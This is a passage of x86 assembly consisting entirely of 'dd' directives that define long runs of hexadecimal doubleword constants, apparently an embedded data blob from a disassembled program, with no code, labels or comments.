dd 0A47B7040h, 679EAF50h, 13008BE6h, 68223410h, 1E9024C9h
dd 0FD91C2DEh, 653C4A48h, 431ECD1Eh, 0FB9D4B92h, 16FD44F8h
dd 72262300h, 2ED1B8BFh, 0E0B5FEA9h, 9089006Ch, 4B70846h
dd 0CE00DAC3h, 0E3A4266Ah, 0A653E0h, 22A51837h, 49D4C020h
dd 83E1C100h, 87BE6A15h, 0FDD80E29h, 4C1602Ch, 780E44B5h
dd 75C63D0Fh, 0F1958100h, 201E4C12h, 667F164Eh, 443600B1h
dd 81EBD438h, 98F59C00h, 0BC5701C1h, 532800C0h, 0CD903530h
dd 0B006659h, 84344A14h, 38CBE4h, 270DE7A2h, 0D3122A18h
dd 1740B600h, 851ED4BDh, 3E3F005Ah, 77C82BC3h, 8B011CEAh
dd 0D5EFA0EDh, 92ECF102h, 869100D3h, 45545DC2h, 7E134EE4h
dd 20001032h, 7D162756h, 0B3AA0022h, 4C1DC855h, 70002C05h
dd 0F96FDE52h, 2FB0B1h, 0E577F515h, 6D78D1A0h, 9245B73Bh
dd 540FFA81h, 92D3077Fh, 0ADF01E0h, 64910B8Fh, 9C00AF65h
dd 2FBC6BA7h, 0FAC5B000h, 0EF3FA64Ah, 77411D32h, 35B3076Eh
dd 3A79C767h, 0B8BA0BB4h, 0A9F95000h, 42009039h, 4D3FD8C6h
dd 5E3492h, 1980985Ch, 0C8230BA6h, 8E629300h, 3F31767Ch
dd 87490035h, 0DDB53CC3h, 34005271h, 0DCE589ADh, 765CAB3h
dd 67A2FB4Fh, 0A8873932h, 4E721037h, 8E00C833h, 0F3CE2779h
dd 2451F48Ch, 8F38021Dh, 0BE610F04h, 20879060h, 0A70F0A21h
dd 6BD444h, 0A1F7BF2Eh, 352B1C7Dh, 7B927Eh, 51CEA008h
dd 3C0006ADh, 64F3427Fh, 0CF4C578Dh, 5BE3D134h, 0A9D00D47h
dd 6E007904h, 6F850649h, 92F37Bh, 8177FA5Fh, 0D8FC7F33h
dd 3A7BB44Ch, 0B0B20078h, 582E570h, 16C80079h, 109D195Dh
dd 71015955h, 935CE6B9h, 0EDCCCCDFh, 0CE4A01B7h, 81F22674h
dd 5EDB30CAh, 1AB98A00h, 3C580CC6h, 3E2F0024h, 9BEF7E93h
dd 38382629h, 0F7F00CECh, 9031F0D0h, 55D300D4h, 98FA6EE1h
dd 6AF89205h, 2D4CEC00h, 671E7B56h, 910D00A3h, 1A06C1C7h
dd 2E008AAEh, 4AFB4746h, 72184D3h, 0EC516E9h, 0C41CA33Eh
dd 901AA787h, 71D02211h, 37AC4E38h, 0F36046E9h, 3125090h
dd 0DD32A140h, 81D809DCh, 28134B35h, 7B00D014h, 0BC79A4F8h
dd 0DE24Ch, 95689AC5h, 7FE6A183h, 4B7E2600h, 173AABFFh
dd 0E04E02E3h, 0A77C769Ch, 9A79EF40h, 4283B303h, 0D9E5D868h
dd 0F440CE62h, 0C377FCh, 7EDA810Fh, 0C8CCF22Fh, 13A97F00h
dd 7A42B57Ch, 0D9BD1EC7h, 935B80A3h, 8DC84D2Fh, 416438h
dd 0A58B22A2h, 0CE334Fh, 2AF8F7A4h, 0E23BE36Ch, 98AACD02h
dd 809E7042h, 0D44CA4ECh, 837CEDh, 975BADEh, 15287DC6h
dd 0C400A298h, 0A3D8DC87h, 166390C1h, 672337h, 0ABFC65C9h
dd 4E00E8E0h, 34499164h, 0FBE741CBh, 10A9420h, 6EF70731h
dd 0ED775381h, 0DF1DE8F6h, 93E47400h, 7E89B917h, 85D30721h
dd 60EFE228h, 0C849081h, 983A1800h, 2B1D06EEh, 36393AD7h
dd 0E0CE824h, 56A522B0h, 0D314837Ch, 0A571B1F8h, 7088D003h
dd 88AFA1A7h, 1E198352h, 6C1D9FD6h, 5D78843Ch, 11C7035Ch
dd 5B93809Bh, 29C900F0h, 0D0D68ABEh, 38008950h, 4A4D96E2h
dd 5033EDA8h, 60DD9F7Dh, 0BC40189Bh, 3177B532h, 53B71C01h
dd 1EAE7DFEh, 76F3420h, 1026E13Eh, 0A2C5B77Fh, 54602E46h
dd 3001D880h, 8412BE49h, 26FC694Bh, 8F300E3h, 0DFAEE6F0h
dd 0DD009AC8h, 0B382C914h, 8A6529h, 0FE49A285h, 665AD261h
dd 0C64B800h, 658E1EBDh, 0FCB030EBh, 0AC253808h, 4B302400h
dd 482EC413h, 8510E9Ch, 83A07245h, 7703F980h, 9497E100h
dd 217F7DB9h, 0B750018Fh, 189E13DBh, 0E40ECD74h, 8609FD8Ch
dd 0D8146605h, 6DD100F8h, 33B28B35h, 1A12C5FBh, 0EA0086EEh
dd 6FC310B1h, 8BEC2420h, 39B8002Ch, 97B712DCh, 0E700537Ah
dd 0FDB1178Fh, 3F84097Bh, 0EF0B9DD6h, 0C3805615h, 0BD52A572h
dd 0DB87EA07h, 0BFD054DCh, 4132237h, 1CCB806Ah, 962C8070h
dd 0B80E2E12h, 0D3828325h, 2AE29801h, 53AEB29h, 0C0C9F584h
dd 0AB36A27Bh, 0ECD4F824h, 2F166700h, 0BDBA6F0h, 405A3F51h
dd 0C005E407h, 2D633B4Ah, 77D30700h, 0CE651C4Fh, 0EB3D26F9h
dd 3860008Eh, 8AA1CC20h, 0D3D18000h, 0B38F6EAEh, 74B0C4h
dd 75269884h, 0C184135h, 93E038h, 0DA7F3E4Bh, 0F65EE2h
dd 756CBABh, 3D05BF36h, 0EAE6C301h, 0E7BD1EAFh, 8B84C8h
dd 0B5B61C4Eh, 0CEDD35ADh, 79007D90h, 688A12E8h, 7C9CE397h
dd 82F700C9h, 5A74BF7Eh, 0B173D7Dh, 0D01C92EBh, 77BA52C0h
dd 3D1E971Fh, 0A13FFC76h, 0F274D200h, 436F9E45h, 0A49D59h
dd 0E7111301h, 0F38B50h, 8F73987Dh, 0AF6281F9h, 23E17105h
dd 0AC01EAC5h, 1392008h, 5B94B840h, 0FFCD0121h, 0AC38BFEBh
dd 54C8EC0Bh, 6AA4FC00h, 22397B49h, 9DE0685h, 38D7C081h
dd 0D00317Dh, 0A773BA94h, 1CEAAACAh, 445CD40Ch, 805A20EDh
dd 9D31AC48h, 0F5692B07h, 0DE30EF4Bh, 40EC6Eh, 7047079Bh
dd 50C8C01Eh, 0B63B10B0h, 6ADA9D3Ch, 0F8CAC00h, 381A061h
dd 0CBC5308Dh, 2AD0ADEBh, 600E4CFAh, 0E1200A5Ch, 62C71906h
dd 0F48770h, 68FE6C8Bh
dd 23A41874h, 75EC8419h, 288045F0h, 0A2A94DCh, 0A90F14DEh
dd 639C46FAh, 0B0373ED5h, 0FD8874h, 0C93BAFF7h, 90D8CEA2h
dd 67309217h, 0EEE91000h, 0E9128974h, 0B0E0B043h, 0B2487Ch
dd 0CEDC58D7h, 90DB53Eh, 69732900h, 43868220h, 4C9CB864h
dd 702E047Ah, 0D27F008Dh, 0AD736A9Dh, 0D635C600h, 786BF2B2h
dd 2E1900B6h, 48FF1503h, 7200966Fh, 74F1937Ch, 14BC9CCh
dd 29F85D97h, 30F9067Ah, 7217DD48h, 48003691h, 0B00F59ACh
dd 0CA2E00BDh, 0BCC8207Ah, 0B200DA4Dh, 0C16775A2h, 9C78701h
dd 0ED6B10A5h, 0D77F7880h, 7700136Fh, 0C0F0A709h, 90F4FDE0h
dd 1E5A0018h, 0BE305CD3h, 0DA000E05h, 0B35FBF77h, 4C4B6939h
dd 1800DF78h, 19CC94F2h, 0A8E6C47Ch, 0C0500D00h, 0EB2F332Dh
dd 1040B725h, 0B600EA65h, 0BCAE582Ah, 0DA2E34h, 64A8495Fh
dd 20CBC9D7h, 1B4C0A00h, 63977169h, 0E1071773h, 3DBC03C8h
dd 0DFF80B25h, 0FF0009D9h, 0E34E4A8Ch, 16601Bh, 0C305DD50h
dd 0BC27C1A2h, 0EE00EA76h, 0E7543484h, 2E496C08h, 392CE991h
dd 6F4CC180h, 85F19E23h, 0EA0DBF00h, 99B4F35Ch, 58350052h
dd 4695093Ah, 400B668Ah, 14F69Ah, 0AF16545Ch, 0FCEA7293h
dd 7A9500B2h, 0EBDCF9C1h, 4E2FBD1h, 0C5329D0Dh, 85E8B883h
dd 297803F6h, 0EBC0805Eh, 6B6DCFC0h, 688E561Dh, 81E1240h
dd 1C8CB64Ah, 0C0B38B32h, 197F9047h, 3042533h, 9AFABDEAh
dd 0F1FF2880h, 48447449h, 3F03F685h, 7B66E24Fh, 0E3243DB0h
dd 0D2785A00h, 3940BB64h, 3A842662h, 0C0DE1D44h, 0D4A92B81h
dd 8B004F4Eh, 1F8AAF85h, 18F713h, 0C90C4B10h, 1B018892h
dd 31BC3254h, 76D51100h, 0E37E06FAh, 7990033Dh, 0DBCEAE5h
dd 7C1D4BF0h, 4239C700h, 7FF53110h, 3AA800A1h, 0E0CCA493h
dd 1DECACA5h, 8E8F9D07h, 2D8458Ch, 24AA1A5Bh, 0BEE3DC83h
dd 3BB080B0h, 3948B302h, 0E057C270h, 3A303EC8h, 501F081Ah
dd 9882C483h, 0AA488854h, 0EBBDBE13h, 12EC404h, 40731DFEh
dd 497B933Eh, 57E8C931h, 40F41400h, 15DFD08Eh, 29D700DAh
dd 0B77D4918h, 0B33C9C94h, 0A3241DA5h, 0E336E405h, 0C6E5C00h
dd 20341Fh, 37B245B0h, 0ABD0BB28h, 7D407E00h, 3C48E3A6h
dd 63040267h, 16DDA9CBh, 0E578B280h, 0FEE4ED42h, 670194E6h
dd 0AADC1233h, 0F3C4CB20h, 4DA0048h, 743A0743h, 0F5582497h
dd 85C70CC1h, 0A53090h, 0AD357AA6h, 39F9B358h, 662ED6F2h
dd 0D1D88D9h, 0C1947C80h, 0EBAA550Ah, 0BDF0F4h, 0D10901EFh
dd 0F29D6EDh, 4A1B38h, 0DB126006h, 0E4C73389h, 1FF900B0h
dd 0F6270D8Ah, 2838869Bh, 0CBEF0056h, 0B86EB403h, 3C7DE8AFh
dd 0D300358Dh, 0C615D974h, 75002596h, 0C527F3AEh, 504B9E94h
dd 28DAF7h, 212620E7h, 1FFA0FA5h, 92E9A116h, 570C0812h
dd 5624B8EBh, 0FA03FC25h, 3B210747h, 0BDB16AB8h, 0AB6C8700h
dd 0FB23C742h, 66830E34h, 8000D801h, 0D7E7B581h, 0B78EDA0Ch
dd 0F8B61869h, 0BA6A0EACh, 0A847E44Bh, 0A288D07Fh, 0D378EB08h
dd 0C6F01100h, 0E1C382A1h, 7E0F2E65h, 6E190F4Dh, 45BA2CA0h
dd 0A9138476h, 32024B56h, 608FD868h, 0D16DE8h, 8C6CDDA2h
dd 9D6557F9h, 6A20FC60h, 28B4A364h, 18A8A08Dh, 485A565Dh
dd 5F05B942h, 0E4834B09h, 0E8EC12C0h, 36FA0172h, 4FC2B428h
dd 0A11060D2h, 5221501h, 2D787996h, 0B46C20h, 41995AF4h
dd 0DD0F6910h, 288953Fh, 8B403D42h, 8529619Fh, 3BC4C0FAh
dd 7339FE7Eh, 0BAA426D3h, 0C0979E80h, 51A77F0Ch, 8DE22E31h
dd 9EB8C900h, 81EBE00Dh, 50B70017h, 9C748F98h, 8E1F4AB1h
dd 3C0049B6h, 97AA4B63h, 0D1A62C7Ah, 0EB960094h, 18D428ACh
dd 649B700h, 4ED39BBDh, 0A3481DC2h, 1425C0EAh, 24154A60h
dd 0F2764Ch, 0DA9B897h, 4E8F74h, 67DE2502h, 890F4ADh, 88E33413h
dd 506630C0h, 0C2C0333h, 0D884FB39h, 0F48AC0A0h, 0C1F22601h
dd 0A681BD69h, 0FCF63DCh, 0ED08433Fh, 0B5CEB8C0h, 87071135h
dd 0D2B4A2A3h, 0E692B9D7h, 21D8C0E3h, 3736244Ah, 1B8509D4h
dd 0DD973440h, 0F178D3Ah, 0C0D9DEC0h, 0C91265E2h, 140B0027h
dd 38161DBCh, 691E3D0Ah, 0B200CD6Eh, 0F2B0E56Fh, 0EA9D0459h
dd 0F4D3B849h, 0AB00FD54h, 93DFFB2Eh, 241C98E4h, 50AFCFh
dd 0FEA21AF4h, 50043BAAh, 82840AD5h, 0AC2AF890h, 0FB5B0380h
dd 0FC43B3A2h, 68C3680Ah, 0E48FF0EFh, 0B44A6186h, 68700F66h
dd 184200A4h, 0A8896D98h, 7A00038Ch, 0FF85E73Ch, 0F434AEh
dd 8A94621Fh, 76A1A472h, 7CFBF026h, 0A0C7CB0Eh, 0BC63D8A8h
dd 0F9BA0592h, 0C7C56F20h, 0D486008h, 67006213h, 0C83D5A10h
dd 72DAC112h, 0FCC390F3h, 686E3F34h, 1BBD013Dh, 0CFA80072h
dd 9E9BCC58h, 81F84B6Dh, 0D514C202h, 60C00FF2h, 0AE363F8h
dd 5F05271Ch, 7A003CF4h, 226BF611h, 5900AD8Dh, 0BD57B808h
dd 885C31h, 0C6F12F49h, 8AC3E099h, 28F45F00h, 69D80860h
dd 95410035h, 0A14F8457h, 0CF01DD7Ah, 82B50CDCh, 0C6DB8A5h
dd 68B90D00h, 91C99961h, 7EE0DC00h, 74321A9Ch, 0E40402B7h
dd 8408C6FFh, 2CE53068h, 90CA4600h, 552E94BCh, 0FA4700A7h
dd 2CCB577h, 38090AF3h, 800DC58Ch, 0F6CA84E0h, 99800093h
dd 3986A296h, 0F7000E5Eh, 0A91A19DEh, 482B73C2h, 7917F4F4h
dd 0DB0821B9h, 6143046h, 894C906h, 105323h, 4C090E7Bh
dd 0A80BCF8Ah, 0D6559113h, 0AA435C00h, 48D1F5BFh, 4001608Ch
dd 0BBDBA411h, 0F127CC45h, 1C3F6300h, 43875529h, 0EA0771C2h
dd 9176259Ch, 4186E000h, 0D479461Bh, 0A8B59226h, 0A0409F0Fh
dd 2F683EABh, 0DE7703C8h, 399CBE9h, 109013F8h, 326A820Eh
dd 64FBEEF0h, 0CFC02F4Fh, 0F8A5B297h, 4CE8001Fh, 0F237991Eh
dd 5E00BA3Dh, 0F7557E1Dh, 0EC2DDCE6h, 1C7207CBh, 0AF3087h
dd 0AD50DA22h, 29F76300h, 1E3D3AABh, 75F0021Fh, 0A502AA1Bh
dd 57541640h, 0E5F49501h, 0EEB9FEBFh, 492C70h, 1A53B207h
dd 5B7913AFh, 0C89EF73Dh, 0D27C079Ch, 0E250586Ch, 705CD45h
dd 0CBF04D62h, 0F567E3FDh, 0C8FB06A8h, 9A36EA00h, 8F3143A6h
dd 0E1100BDh, 0E7F59204h, 121C509Fh, 70AE6EDEh, 0F293E200h
dd 0A8C97477h, 5482B88h, 0B5AB7641h, 0D808B071h, 0FEA97A38h
dd 8A91F50Bh, 0A1CF0048h, 5EA7FD1Dh, 50982742h, 313050EAh
dd 5AB58200h, 0BDA8F236h, 58970993h, 5C80C8F9h, 0A4AC380Bh
dd 0EA919B09h, 16F00034h, 11C8C83h, 7689CB2Eh, 0F0F87225h
dd 2C00FEA1h, 7591E58Bh, 0E8793AE0h, 0A79307E4h, 2377C1F0h
dd 8FF0D066h, 637B9BCEh, 0E9005BE6h, 7EF5D1DDh, 49CEBh
dd 5E2D1FD5h, 0A370A2CBh, 2811F300h, 0B6D494D7h, 0D8E029h
dd 0B86585E6h, 908DAD3Eh, 0FBC8C50Bh, 21850015h, 354995h
dd 53508F0Dh, 3AC9CEA7h, 909CF700h, 0EB619B07h, 10DB0085h
dd 91A17460h, 0F9006954h, 2A4BA5DDh, 0A04A6146h, 93F7180h
dd 67E26ADAh, 60C0638Fh, 181AA5ADh, 80FFBBE8h, 0B0E97ECh
dd 3A95EDFh, 0B749FB1Dh, 0B4E12043h, 0D9A3C8B2h, 0DB6A0400h
dd 9A72CCB6h, 63280023h, 4C1D3665h, 94007FB7h, 0C0DCBE77h
dd 9A0B9Eh, 5639BC89h, 0AAD7B33Eh, 1F883304h, 668027D2h
dd 93E3D6h, 0CBE8B83Ah, 0F3708176h, 0EBF83Fh, 0F02DA70Ah
dd 7C97127h, 0FBA03C84h, 0B4180CFh, 640579B4h, 9FC0D678h
dd 0A494C3C0h, 51420083h, 0F39388A9h, 0B21C1EA6h, 0E1C0991Ch
dd 0D67AA770h
dd 0D1E51777h, 0FE9C3441h, 0EC45BAC1h, 7D3C1BFCh, 0A0667DE8h
dd 0BEBC9FD1h, 54374168h, 184C6019h, 1C6B3F00h, 6F5DE9C5h
dd 404E00E0h, 7FE18299h, 0B94CA513h, 29037584h, 2E8BCAFFh
dd 4043C002h, 413D004Dh, 0ABA6EEF2h, 0D900FDB2h, 89958022h
dd 902623Ah, 0D8F1A5B6h, 590E5C80h, 822CB3E2h, 836090C8h
dd 1D867F7h, 628F41FBh, 0E16A5F57h, 0E3AFD9DCh, 0A2FC30F0h
dd 36542Fh, 0C2E871B8h, 0E6D10535h, 339FF9h, 0E1D353B8h
dd 0F8706D8Eh, 94EB59h, 7E33E7FCh, 574412Ch, 91D26884h
dd 69C1C34Eh, 2C51FE8h, 20717600h, 9C2CEF43h, 16D001FEh
dd 0D7B13247h, 2692014h, 0F00B7228h, 0B4823300h, 67088EF5h
dd 4C690048h, 0AD274D0Ah, 142610A9h, 0A3805059h, 4A9F36FEh
dd 870303F7h, 3B741A76h, 0D4A00F89h, 0D61DBF21h, 494041C5h
dd 0A903EB70h, 8AA2EE5h, 0F4110080h, 0D26AB3B0h, 45696600h
dd 0A8BBD391h, 0B22800A0h, 954F1682h, 8BFC3583h, 5EA9150Fh
dd 424A0065h, 0B68492h, 0D57BC6E5h, 0E6EE2F98h, 16A9C90Ch
dd 9CEB3E68h, 0CADC00A0h, 663318FBh, 0B49CC324h, 0CC5A5101h
dd 90724FD0h, 920C6DC0h, 570514FCh, 1B3A46E3h, 0ED69D883h
dd 629DC981h, 0B235CC4h, 2A08263Ch, 874B1084h, 0F0FF608Ch
dd 2D16A30Dh, 3709B8D9h, 91680009h, 0C8F564h, 0B79A7DBEh
dd 0C3BC3E4Ch, 0E18CF20Fh, 0CE0DE01Bh, 48867A43h, 0EA1388ADh
dd 0D4B460D0h, 4F1E3AFBh, 3DC052E2h, 45FF35B7h, 48430370h
dd 0F1A3BC2Fh, 2A00C87Bh, 3D8DF6CDh, 0B81C6D26h, 3C28B68Ah
dd 5306E0C9h, 30EFAAD6h, 0C1AF9500h, 0BB4B868Eh, 0F01A61A7h
dd 0F9A3DFE7h, 6DA4600Dh, 1183325h, 524F8674h, 2612CC24h
dd 2818BD41h, 26CE0139h, 0A59EAE37h, 0EC7DF018h, 0DE06AB02h
dd 906ADF34h, 13C78D9Ch, 6695FCh, 391382D8h, 4500E942h
dd 14CBDAB2h, 9E5A2Dh, 0E3E8C201h, 7DC87B76h, 0CD216C00h
dd 568843B3h, 0B17C0083h, 0F4548F47h, 9D009F37h, 96AC085Fh
dd 0C8F0C4h, 10270641h, 0AE7A75C7h, 58176130h, 0B95B605h
dd 6BB54A16h, 0B21A2300h, 0A1C1035h, 2840DF54h, 2217B829h
dd 0E34D0368h, 0A3665AC0h, 3BA512A0h, 30D3881Dh, 0C9B8D600h
dd 3896C42h, 0FDF2E74Bh, 1A80CF8Fh, 0B900D868h, 8254AEC5h
dd 99A7Ah, 3DEC3997h, 0B290F5D3h, 2EC3FB38h, 2E0078C7h
dd 6E1F3577h, 187504h, 6B6AD201h, 969E3F2h, 0F90C471Dh
dd 3BE04880h, 0F0AF66h, 29C7CE03h, 0F24289F5h, 80859E3Fh
dd 1E317816h, 40AFE4Eh, 3725698Fh, 51CA8B6h, 142BC3E7h
dd 2ACDEC00h, 3DD3F078h, 0A809746h, 0BDBC6165h, 0DD2E2CC1h
dd 0C30E848Bh, 0B62443A3h, 0B4BCAC31h, 0E661F00h, 3B1C5A81h
dd 68285800h, 0F72361EEh, 40423AECh, 0E29E0D00h, 2CE65596h
dd 970054E8h, 62A9235Dh, 0F074595Eh, 1424007Dh, 0C48704BEh
dd 0F03B49C6h, 0BD1E8092h, 0A879071Dh, 7719003Bh, 9D35101Ch
dd 0D802C493h, 0CD7A927Dh, 35458BDh, 72ADB10Bh, 22E054E4h
dd 7D0036EBh, 0C04C8E39h, 61F094h, 732934E8h, 0C7DDADF1h
dd 0D9F35600h, 91646EB2h, 36680388h, 933858EBh, 56FDB1D8h
dd 0BEC1CC00h, 7D5E3387h, 20B00085h, 0B641F65Ah, 0FCE99C25h
dd 750F2AD6h, 4003C51Eh, 450B0D4Fh, 35810195h, 7FC72DC4h
dd 0E3E5306Ch, 167E9D04h, 0F8D01513h, 0AE8A23h, 0E53397F0h
dd 7995CFE2h, 10DF7800h, 5EF4B41Fh, 0ECB00160h, 93D61BE9h
dd 9DE0FE29h, 0DBEC4532h, 0D5E3C207h, 28B34ED3h, 31701748h
dd 813D1CAAh, 34DA17DCh, 0C11D60CFh, 2D7ACD77h, 284CE000h
dd 0A7746F4Dh, 24389515h, 570027CCh, 1347B4C0h, 9D8EAB05h
dd 0B821C802h, 91C0CC51h, 0A0752h, 123F3BD0h, 7DFBCBA0h
dd 0CCAF5F00h, 0AA78E043h, 0C695019Ch, 266E6D34h, 2477F4h
dd 8602DAC2h, 937AA0h, 3DB190DFh, 4530646Ch, 5572B50Fh
dd 3CE0724Ch, 89D200C2h, 1D961033h, 7E006A49h, 6301D11Ah
dd 723816h, 9D583A6Eh, 2ECE62FBh, 0FDC7BC00h, 87B7F44Ah
dd 22743B05h, 9050C0CBh, 2300AC66h, 0D7DD3F58h, 0EC854Bh
dd 4061FC52h, 415EF8Bh, 4AF8C200h, 25640FAAh, 8C1E2885h
dd 199703F9h, 7524D2E6h, 1BF2DED8h, 0E0D3CE00h, 0A71802D0h
dd 0A3701DAFh, 4DB2C16Ah, 30CC03EFh, 593D21CCh, 0D36D800Eh
dd 0C0B4C9D5h, 9AB100E7h, 4DD673CDh, 890C5906h, 98BB8229h
dd 84A60039h, 4705A26Eh, 900CFCAh, 2E2AB7F0h, 0F549F68h
dd 0BFCBEEBBh, 0A960FBEEh, 0C7BA6CFEh, 53F42100h, 20F9A728h
dd 1FE1002Fh, 60455C0Ch, 8125EBDDh, 4AD00727h, 3701B8F0h
dd 88AC013Ch, 70D27552h, 66109F3Eh, 0C74611C0h, 72D42BDEh
dd 11B84C93h, 19815238h, 5538B988h, 20A8711Dh, 0A2009B34h
dd 0A3D90186h, 7BD59Fh, 0C6021D0h, 97F4CE2Fh, 361B5300h
dd 93E772FCh, 7EAF3852h, 0A06FB707h, 0F461B06Dh, 4100C030h
dd 3F8F74CDh, 0EA387ABEh, 6693009Bh, 88A9C857h, 7E00E92Dh
dd 8BB3AEBh, 0FA846E25h, 0E8701EA2h, 0FDBF8B37h, 0A54ACB8h
dd 886B59h, 0E42AF8F6h, 3EA1E28h, 79A03220h, 0A5991A82h
dd 8FD5EC96h, 40579500h, 51FF150Eh, 8359005Dh, 5C086C66h
dd 90007725h, 89EB463Eh, 11D867h, 160B9D20h, 9EA779A8h
dd 0AF2E9F00h, 0E33955C7h, 0CCF700DDh, 44E5F29Ch, 0CB009E3Ch
dd 28C1CEB6h, 6E75AFh, 2E9C5337h, 830E762h, 80101839h
dd 1575CA0h, 24BB503Dh, 28E9D0h, 0EA713A29h, 10EE436Bh
dd 59203003h, 0B08DCE58h, 38FBEF0Dh, 0AE80EB65h, 17ED702Dh
dd 80971BBEh, 0EE90EC90h, 0C68202D0h, 486AA624h, 28805562h
dd 0AAB91797h, 0DA1CA97Bh, 7A00B0EAh, 9AA4D5C4h, 309729D3h
dd 0A05700ACh, 14E44792h, 9AE5EE00h, 1B33A55Ch, 0CC1300D5h
dd 8DDEBEC9h, 213A4695h, 160C8030h, 9C6C514Eh, 8E0D0049h
dd 0BF8540ECh, 0D207D14Bh, 8693C7CAh, 0B0875A80h, 0EEDA0007h
dd 2DE246F3h, 0DB00EC2Bh, 1425665Bh, 1E8DFBBh, 78CCBCEFh
dd 0E27E2DD3h, 503BF087h, 0F8547707h, 0EF83AD00h, 0AB709DAAh
dd 0E06CE010h, 16D0269Bh, 0E7780030h, 0DD88993Eh, 0A52DC601h
dd 1CCA6D12h, 7F005C6Ch, 0A7B557C0h, 0E70020D0h, 0D32B6485h
dd 2D444D8h, 1EF606AFh, 4DE0434Dh, 0D00B677h, 0C58594C9h
dd 0CB633Fh, 6F3CD8DCh, 0EBEE6978h, 1F0038EAh, 0AA49B86h
dd 9D2A62h, 3E4EFE66h, 8A9C1A75h, 410C3D00h, 0A4EE9B81h
dd 67E813B6h, 71280007h, 79E5BC3Eh, 52278500h, 0F832DCC2h
dd 1A7FAB9h, 8A8D7D86h, 0C4513EDBh, 737C540Ch, 73446252h
dd 0E7EF4C03h, 0F056FC57h, 446647h, 5B025842h, 0CF1ECDFBh
dd 680D5003h, 0E061E7E6h, 0B062FABDh, 8C7394h, 0D3B1AA9h
dd 0F00456AAh, 8546E600h, 0FAFEE579h, 0CA6607BAh, 103C43E2h
dd 0D6F923B9h, 5F212D00h, 8C4B7398h, 33E9003Dh, 8A9B64B3h
dd 0B90009BAh, 0E02B0FDh, 6960DFh, 899C61ADh, 0E544E082h
dd 8ACB5500h, 8353B6F5h, 0D57205h, 13FD8BA2h, 4B66BC41h
dd 94B73400h, 5E91654Ch, 13EF201h, 64145685h, 0D0B2A7DAh
dd 8E008BE2h, 0F0CEF262h, 0EC48B488h, 616C00B0h, 3F6EDB4Dh
dd 6F5A2BBDh, 68E8A8F1h, 5E90026h, 0D851B2EAh, 879F41E3h
dd 0F090EFFDh, 3E920F65h, 0B3A449D6h, 0FF8D0ED0h, 42EED866h
dd 943A7403h, 90EC6038h, 4A596Eh, 1EFDDBF1h, 0C037094Fh
dd 0DC451400h, 9BD2E286h
dd 4CF4000Fh, 117604Dh, 3200B2B8h, 0C91E109Fh, 2E69ED90h
dd 20D4BD39h, 9E01908h, 0F89820AEh, 5A388B3Dh, 0A0319D84h
dd 4BBB4740h, 921A8F3h, 65094101h, 87CD7780h, 9EF81359h
dd 0E400157Dh, 0A931F546h, 8A2EB9h, 10473567h, 0C4F2B23Dh
dd 0C50206F6h, 8ED49E3Ah, 0D21B619Ah, 97E1C4h, 186E7CC3h
dd 0FA6B3D37h, 260D4B01h, 7F8FE94Ah, 0B3A9C06Fh, 3201AF88h
dd 791434D9h, 9840B513h, 0C08F89A8h, 4B362B51h, 1774FB51h
dd 0CB8EA8C4h, 0F00098E8h, 77D49175h, 0DF07106Fh, 6D5FD725h
dd 18E90330h, 30FE0032h, 8FABF0E2h, 0D6077758h, 2A98AEF2h
dd 6747CDE0h, 0AC8A0012h, 8C4F0472h, 0E61E59B7h, 0FC55E2h
dd 0C2837DCBh, 308CFh, 9348A140h, 9933178Dh, 0EB24F000h
dd 4906F8B7h, 0C0F400B5h, 63C3206Ah, 0BC005B96h, 3D241DD7h
dd 0F401AC1h, 3944E9C5h, 0F98B92E0h, 2006B75h, 810FE87Dh
dd 3E45FD42h, 543D7173h, 0CFEB1F00h, 3BABDA1h, 9DED2600h
dd 972DD978h, 0D25D00C7h, 492A5AF2h, 0A50323A1h, 84C15F1Ch
dd 8D6AF9DFh, 17128081h, 40CA164Dh, 90B3B798h, 6AF56216h
dd 3CA0B0h, 0A30BA9BAh, 60157AE8h, 0D809A678h, 82DB8861h
dd 40957F86h, 10BF72Ch, 0A53ADC2h, 0F1FFE663h, 0E7FCF8B7h
dd 0E0EF5B00h, 9325418Eh, 0D86C0076h, 92CE490Ah, 0EE0047ADh
dd 0FA260FF8h, 0B8989Ah, 235238F0h, 6981652Bh, 1CE72200h
dd 0D4CAAA0Fh, 0F5C10313h, 60A2A6B8h, 40BFC0CCh, 9B035CB5h
dd 0E30AFB98h, 0C0AECBh, 7706B31Dh, 0A4A68795h, 18F6D530h
dd 3BBCF91Eh, 539215B6h, 2E64803Bh, 606493B5h, 588834A0h
dd 0FB651EF3h, 339742AEh, 2C8194DEh, 2867A1Bh, 828EBB1h
dd 1621C458h, 0B5630704h, 0A534D550h, 1E2C8358h, 0AF615972h
dd 0AD3BCEB8h, 8E2B2C40h, 0A0DD80B8h, 0BCD858A0h, 1B0C0389h
dd 0C659BA61h, 0CF126F88h, 844CB711h, 722904DBh, 3039A4A9h
dd 48CF2FCh, 0E24F5385h, 20D347B3h, 80D22008h, 4081CF58h
dd 0F0D0935Ah, 9AC909FCh, 1EE4502Dh, 9D5481A3h, 0CD08C051h
dd 2F208025h, 3DAC493Dh, 12985071h, 9CBC9300h, 0E385FFC5h
dd 56CA163Ah, 8258C001h, 0EB000F4Ah, 0F1D445F3h, 1C89B5Fh
dd 3A774EEh, 20C4F5AFh, 9A0B176Bh, 0FED2CCh, 0C30FD695h
dd 0F83F6064h, 395D97AAh, 6DABF100h, 4E0C83EEh, 3A52010Bh
dd 6126A7CFh, 5732F4CBh, 0BDD290A8h, 135B200h, 716B3A08h
dd 6F7418D0h, 2AB12114h, 6C5DB301h, 0FEA37296h, 0A114C80h
dd 0F925FFBh, 0CAD19F60h, 60296DA7h, 22B2386Eh, 110E2B3Fh
dd 0C0B5DBF2h, 948F0E15h, 0C098C4h, 86D7D5B2h, 0D2BAF38Eh
dd 0A2C0566Fh, 87BE18DFh, 2D5269F8h, 604040FCh, 3B14901Dh
dd 41650ECEh, 82FCE05Ah, 0F40D7500h, 0CD4D2DADh, 0AF211842h
dd 9213C1A0h, 944FBF24h, 9420AC83h, 0E41E44C2h, 0A7CC0AB2h
dd 805C3699h, 0F38AA37Bh, 94238EFBh, 33C1801Bh, 0AF4D992Bh
dd 0CB2081C1h, 0BC400784h, 4897ECF8h, 0AF3E3C49h, 188FFC50h
dd 715AD4B4h, 14004182h, 1A0FD994h, 0E079F48Ch, 0E8F7305Fh
dd 0CE591321h, 21906B00h, 52AD9CEBh, 747A493Bh, 0BEA35A1Eh
dd 1D45D383h, 54A1517Bh, 0D6E08214h, 42967F03h, 0E3C80EC4h
dd 9D9259h, 0A6484510h, 136C75B0h, 0DEF49B00h, 658CFA25h
